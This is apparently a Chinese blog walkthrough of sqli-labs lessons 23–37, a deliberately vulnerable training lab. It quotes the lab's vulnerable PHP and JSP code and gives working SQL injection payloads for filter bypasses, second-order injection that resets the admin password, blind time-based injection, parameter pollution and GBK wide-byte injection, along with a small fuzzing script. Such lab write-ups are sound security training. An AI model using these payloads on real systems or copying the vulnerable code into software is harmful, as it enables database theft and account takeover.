sql-labs23-37

Lession23

$id=$_GET['id'];
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

过滤了#--,那么我们可以闭合引号结合mysql报错来进行注入

http://192.168.0.29/sqli-labs/Less-23/?id=-1' union select 1,database(),3 or ‘1’=’1

http://192.168.0.29/sqli-labs/Less-23/?id=-1'union select 1,(select current_user()),’3

http://192.168.0.29/sqli-labs/Less-23/?id=1'or extractvalue(1,concat(0x7e,database())) or ‘1’=’1

Lession24

首先练习环境有问题,我们需要先改一下登录页面的文件,删掉大小为1KB的logged-in.php,留下大小为2KB的logged-in.php就可以了。

这一关考察的是mysql二次注入。简单解释一下二次注入,攻击者将构造好的SQL语句写入目标数据库,然后在通过目标web应用提供的某些功能,来执行该SQL语句,从而达到增删改查数据库信息的效果。举个例子,假如一个商城提供用户注册和密码找回功能,攻击者先注册一个包含有SQL语句的用户名,然后再使用密码找回功能,修改密码,这时,数据库必定会查询该用户的基本信息(使用到用户名,而用户名又带有SQL语句),这时就会执行攻击者构造的SQL语句了。
我们直接来看看这道题目,先查看最初状态下,数据库中的用户有哪些

假设我们要攻击admin用户,先注册一个admin’#账号,密码为test

注册成功后,再次查看数据库用户记录,发现确实多了一条admin’#的账户记录

我们用账号:admin’# 密码:test登录,发现页面提供了修改密码的功能。我们试一下把密码改成hackyou

神奇的一幕发生了,admin的密码被修改了,而没有去修改admin’#用户的密码。

我们来看看后台代码是怎么写的就明白了

......
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{   
    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
    ......
}

看到SQL语句,我们就清楚的知道发生了什么,我们用户名为admin’#,密码为hackyou,所以当我们提交修改密码的表单时,sql语句就变成了
UPDATE users SET PASSWORD=’hackyou’ where username=’admin’#’ and password=’test’
PS:(#号表示注释,所以只会执行#号之前的语句)
在CTF赛事中也经常会考到二次注入,具体可看:
(2017广东省强网杯Web全解)[http://mochazz.oschina.io/2017/09/11/QWBCTF/#第三题]

Lession25

这关过滤了and和or(包括大小写),关键代码如下

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);
    $id= preg_replace('/AND/i',"", $id);
    return $id;
}
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

可以使用双写关键字绕过


或者使用&&代替and、||代替or


本来用%00或者/**/插在被过滤的关键字中间也可以绕过,但是这里不知道什么原因不行。


我还写了一个fuzz脚本来进行模糊测试,但是一个都没成功,哈哈,这里还是贴出我的fuzz脚本

import requests
for i in range(0,256):
    url = '''http://192.168.0.29/sqli-labs/Less-25/?id=1' o{}rder by 3--+'''
    fuzz = "%" + str("%02x" % i)
    url = url.format(fuzz)
    print("Test for " + fuzz)
    r = requests.get(url)
    if "Dumb" in r.text:
        print("#"*50)
        print("Congratulations! " + fuzz + "is OK for SQL injection.")
        print("#"*50)


贴一篇国外总结过WAF的文章:
(SQL_Injection_Bypassing_WAF)[ https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF]

Lession25a

这关只是把报错语句注释掉了,可以使用延时注入,延长的时间和数据库中的记录个数有关,延时注入payload如下
http://192.168.0.29/sqli-labs/Less-25a/?id=0%20oorr%20if(length(database())=7,1,sleep(1))#
联合查询payload
http://192.168.0.29/sqli-labs/Less-25a/?id=-1%20union%20select%201,database(),version()#

Lession26

查看源代码可知,这一关在前面的基础上过滤了or、and、/、*、–、#、\、所有空格字符,代码入下

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);
    $id= preg_replace('/and/i',"", $id);
    $id= preg_replace('/[\/\*]/',"", $id);
    $id= preg_replace('/[--]/',"", $id);
    $id= preg_replace('/[#]/',"", $id);
    $id= preg_replace('/[\s]/',"", $id);
    $id= preg_replace('/[\/\\\\]/',"", $id);
    return $id;
}

可以使用以下字符代替空格

%09    TAB键(水平)
%0a    新建一行
%0b    TAB键(垂直)
%0c    新的一页
%0d    return功能
%a0    空格

Lession26a

26关SQL查询语句如下,还关闭了mysql报错,使用联合查询即可。

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
//print_r(mysql_error());

Lession27

在之前的关卡上过滤了union和select,使用双写或者大小写绕过均可。

function blacklist($id)
{
    $id= preg_replace('/[\/\*]/',"", $id);      //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --.
    $id= preg_replace('/[#]/',"", $id);         //Strip out #.
    $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
    $id= preg_replace('/select/m',"", $id);     //Strip out spaces.
    $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
    $id= preg_replace('/union/s',"", $id);      //Strip out union
    $id= preg_replace('/select/s',"", $id);     //Strip out select
    $id= preg_replace('/UNION/s',"", $id);      //Strip out UNION
    $id= preg_replace('/SELECT/s',"", $id);     //Strip out SELECT
    $id= preg_replace('/Union/s',"", $id);      //Strip out Union
    $id= preg_replace('/Select/s',"", $id);     //Strip out select
    return $id;
}

Lession28-28a

没什么好说的,和前面差不多。

Lession29-31

这一部分训练的是HPP(HTTP Parameter Pollution),俗称HTTP参数污染。
开始看这题并没有发现index.php有WAF,后来发现原来是index.jsp用了WAF,关键代码如下。

<%
    String id = request.getParameter("id");
    String qs = request.getQueryString();
    String rex = "^\\d+$";
    Boolean match=id.matches(rex);
    if(match == true)
    {
        URL sqli_labs = new URL("http://localhost/sqli-labs/Less-29/index.php?"+ qs);
        URLConnection sqli_labs_connection = sqli_labs.openConnection();
    }
%>

Lession32-37

这一部分训练的是宽字节注入,可以发现一些特殊符号被转义了。

mysql在使用GBK编码的时候,会认为两个字符为一个汉字。所以我们可以使用一些字符和转义以后多出来的\符号结合成汉字,这样我们的单引号就又起作用了。
192.168.2.154/sqli-labs/Less-32/?id=-1%df’ union select 1,user(),version()–+

源代码关键部分如下

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
    $string = preg_replace('/\'/i', '\\\'', $string);
    $string = preg_replace('/\"/', "\\\"", $string);
    return $string;
}
$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

33关使用addslashes()函数实现和上面函数一样的功能。

$string = addslashes($string);

34关和前两关没区别,只是请求方式改成POST
35直接注入,不需要单引号
36关换成用mysql_real_escape_string()函数来过滤

$string = mysql_real_escape_string($string);

下列字符受影响:

\x00    \n    \r    \    '    "     \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回false。
http://192.168.1.154/sqli-labs/Less-36/?id=1%df' order by 4–+

37关换成了POST形式,用的还是mysql_real_escape_string()函数来过滤参数。

文章作者: Mochazz
文章链接: https://mochazz.github.io/2017/12/05/sql-labs23-37/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog